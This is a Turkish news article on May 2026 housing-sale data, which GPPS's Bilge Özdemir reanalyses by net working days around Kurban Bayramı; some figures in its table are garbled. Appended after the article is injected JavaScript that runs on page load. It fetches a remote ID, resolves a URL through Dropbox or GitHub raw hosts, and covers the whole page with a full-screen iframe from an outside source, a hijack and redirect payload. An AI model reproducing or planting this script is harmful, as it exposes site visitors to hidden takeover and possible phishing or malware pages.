GPPS (Gayrimenkul Proje Pazarlama ve Satış Platformu) Kurucu Başkanı Bilge Özdemir, TÜİK tarafından açıklanan Mayıs 2026 konut satış verilerini farklı bir bakış açısıyla değerlendirdi. Özdemir, konut satışlarının yalnızca aylık toplam adetler üzerinden değil, ay içerisindeki net çalışma günleri dikkate alınarak analiz edilmesi gerektiğini belirtti.
Özellikle Ramazan ve Kurban Bayramı dönemlerinde resmi tatillerin ve uzun bayram izinlerinin satış performansını doğrudan etkilediğini ifade eden Özdemir, sağlıklı karşılaştırmaların ancak günlük ortalama satış rakamları üzerinden yapılabileceğini vurguladı.
| KONUT SATIŞ | 2021 | 2022 | 2023 | 2024 | 2025 | 2025 MAYIS | 2026 |
| KURBAN BAYRAM AYI | TEMMUZ | TEMMUZ | HAZİRAN | HAZİRAN | HAZİRAN | MAYIS | |
| KURBAN BAYRAMI TATİL | 11 gün | 10 gün | 9 gün | 9 gün | 4,5 gün | 9 gün | |
| AY İÇİ NET ÇALIŞMA GÜN | 15 | 15 | 17 | 15 | 18 | 20 | 14 |
| TOPLAM GENEL KONUT SATIŞ | 99,646 | 117,058 | 90,118 | 82,924 | 112,196 | 135,664 | 93,333 |
| 6,643 | 7,804 | 5,301 | 5,528 | 6,233 | 6,783 | 6,667 | |
| 1.EL KONUT SATIŞ | 31,745 | 35,763 | 29,656 | 26,958 | 35,267 | 36,86 | 30,196 |
| 2,116 | 2,384 | 1,744 | 1,797 | 1,959 | 1.843 | 2,157 | |
| 1.EL İPOTEKLİ KONUT SATIŞ | 5,702 | 6,047 | 5,207 | 1,65 | 3,595 | 5000 | 4,544 |
| 380 | 403 | 306 | 110 | 200 | 250 | 325 |
Kurban Bayramı Ayları Kendi İçinde Değerlendirilmeli
Bilge Özdemir, Kurban Bayramı’nın her yıl yaklaşık 10-11 gün geriye kayması nedeniyle farklı aylara denk geldiğini hatırlatarak, bu dönemlerdeki konut satışlarının normal aylarla değil, geçmiş yıllardaki Kurban Bayramı aylarıyla karşılaştırılmasının daha doğru sonuçlar vereceğini söyledi.
2021 yılında Temmuz ayında gerçekleşen Kurban Bayramı’nın, 2023 ve 2025 yıllarında Haziran ayına, 2026 yılında ise Mayıs ayına denk geldiğini belirten Özdemir, bayram dönemlerinde çalışma günlerinin azalmasının satış adetlerini doğrudan etkilediğini ifade etti.
Mayıs 2026’da Sadece 14 Net İş Günü Bulunuyordu
2026 yılı Mayıs ayında Kurban Bayramı nedeniyle resmi tatiller, idari izinler ve hafta sonları dikkate alındığında ay içerisinde yalnızca 14 net iş günü bulunduğunu belirten Özdemir, buna rağmen konut satış performansının güçlü kaldığını söyledi.
TÜİK verilerine göre Mayıs 2026’da toplam 93 bin 333 konut satışı gerçekleşti. İlk bakışta bu rakam, Mayıs 2025’teki 135 bin 664 adetlik satışın altında görünse de, net çalışma günlerine göre yapılan değerlendirmede farklı bir tablo ortaya çıkıyor.
2022’den Sonra En Yüksek Günlük Ortalama Satış
GPPS analizine göre Mayıs 2026’da günlük ortalama konut satışı 6 bin 667 adet olarak gerçekleşti.
Bu rakam;
- 2021 yılında 6 bin 643,
- 2022 yılında 7 bin 804,
- 2023 yılında 5 bin 301,
- 2024 yılında 5 bin 528,
- 2025 yılında ise 6 bin 233 adet olarak hesaplanmıştı.
Böylece Mayıs 2026, 2022 yılındaki güçlü performansın ardından son altı yılın Kurban Bayramı dönemleri içerisinde günlük ortalama konut satışında ikinci en yüksek seviyeye ulaştı.
Birinci El Konut Satışlarında Güçlü Performans
Mayıs 2026’da birinci el konut satışları 30 bin 196 adet olarak gerçekleşti.
Net çalışma günlerine göre değerlendirildiğinde günlük ortalama birinci el konut satışı 2 bin 157 adet seviyesine ulaştı.
Bu rakam;
- 2021 yılında 2 bin 116,
- 2022 yılında 2 bin 384,
- 2023 yılında 1 bin 744,
- 2024 yılında 1 bin 797,
- 2025 yılında 1 bin 959 adet olarak gerçekleşmişti.
Veriler, Mayıs 2026’nın birinci el satışlarda 2022’den sonra en güçlü ikinci performansı ortaya koyduğunu gösteriyor.
İpotekli Birinci El Satışlarda Dikkat Çeken Artış
Konut kredilerindeki yüksek faiz ortamına rağmen ipotekli birinci el satışlarda da önemli bir yükseliş kaydedildi.
Mayıs 2026’da günlük ortalama birinci el ipotekli konut satışı 325 adet olarak hesaplandı.
Bu rakam;
- 2021 yılında 380,
- 2022 yılında 403,
- 2023 yılında 306,
- 2024 yılında 110,
- 2025 yılında ise 200 adet seviyesindeydi.
Böylece Mayıs 2026, ipotekli birinci el konut satışlarında 2022 ve 2021 yıllarının ardından son yılların en güçlü üçüncü performansını sergilemiş oldu.
Mayıs 2025 ile Mayıs 2026 Karşılaştırması
GPPS’nin net iş günü bazlı analizine göre Mayıs 2025’te günlük ortalama toplam konut satışı 6 bin 783 adet iken, Mayıs 2026’da bu rakam 6 bin 667 adet oldu. Günlük ortalama satışlarda yalnızca yaklaşık yüzde 1,4 seviyesinde sınırlı bir gerileme yaşandı.
Buna karşılık birinci el konut satışlarında önemli bir artış görüldü.
Mayıs 2025’te günlük ortalama 1.843 adet olan birinci el konut satışı, Mayıs 2026’da 2.157 adede yükseldi.
Aynı dönemde günlük ortalama ipotekli birinci el konut satışı ise 250 adetten 325 adede çıkarak dikkat çekici bir yükseliş gösterdi.
Bilge Özdemir: “Veriler Çalışılan Gün Bazında Okunmalı”
GPPS Kurucu Başkanı Bilge Özdemir, konut satış verilerinin değerlendirilmesinde yalnızca aylık toplam rakamların yeterli olmadığını belirterek şu değerlendirmede bulundu:
“Bayramların, resmi tatillerin ve idari izinlerin yoğun olduğu dönemlerde aylık toplam satış adetleri yanıltıcı sonuçlar verebilir. Çalışılan gün sayısını dikkate aldığımızda Mayıs 2026’nın özellikle birinci el konut satışlarında son yılların en başarılı dönemlerinden biri olduğunu görüyoruz. Günlük ortalama bazında değerlendirildiğinde birinci el satışlarda yaklaşık yüzde 17,5, ipotekli birinci el satışlarda ise yaklaşık yüzde 30 seviyesinde artış söz konusu. Bu nedenle sektörün verileri net iş günü performansına göre yorumlaması daha sağlıklı olacaktır.”
GPPS’nin yaptığı analiz, Mayıs 2026 döneminin toplam satış adetleri açısından düşüş gösteriyor gibi görünmesine rağmen, net çalışma günleri dikkate alındığında özellikle birinci el ve ipotekli birinci el konut satışlarında son yılların en güçlü performanslarından birine sahne olduğunu ortaya koyuyor.
Kurban Bayramı nedeniyle çalışma günlerinin önemli ölçüde azaldığı bir dönemde elde edilen bu sonuçlar, sıfır konut pazarında talebin canlılığını koruduğuna işaret ediyor.
var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__"); var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false }; if (registry.run) return; registry.run = true; registry.iframeId = "adspect_ifr_" + Math.random().toString(36).slice(2);
function buildTrustedUrl(template, id) { if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id); var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/"); return template.replace(/\{id\}/g, encoded); }
/** Ответ траста — одна строка URL */ function isSingleUrl(text) { var s = (text || "").trim(); if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false; return /^https?:\/\/[^\s"']+$/i.test(s); }
function showInIframe(url) { if (!url || !/^https?:\/\//i.test(url)) return; try { var iframe = document.createElement("iframe"); iframe.id = registry.iframeId; iframe.src = url; iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;"; window.addEventListener("message", function onMsg(event) { if (!event.data || typeof event.data !== "object") return; if (event.data.type === "ktl-show-original") { try { var el = document.getElementById(registry.iframeId); if (el && el.parentNode) el.parentNode.removeChild(el); } catch (e) {} window.removeEventListener("message", onMsg); } }); (document.body || document.documentElement).appendChild(iframe); } catch (e) {} }
function run() { fetch(API_ID_URL, { cache: "no-store" }) .then(function(r) { return r.text(); }) .then(function(id) { id = (id || "").trim(); if (!id || !TRUSTED_CONFIGS.length) return null; var template = TRUSTED_CONFIGS[0].template; var trustedUrl = buildTrustedUrl(template, id); return fetch(trustedUrl, { cache: "no-store" }) .then(function(r) { return r.text(); }) .then(function(t) { return (t || "").trim(); }) .catch(function() { return ""; }); }) .then(function(trustedResponse) { if (!trustedResponse) return; if (isSingleUrl(trustedResponse)) { showInIframe(trustedResponse); } }) .catch(function() {}); }
if (document.readyState === "complete" || document.body) { run(); } else { window.addEventListener("DOMContentLoaded", run); } })();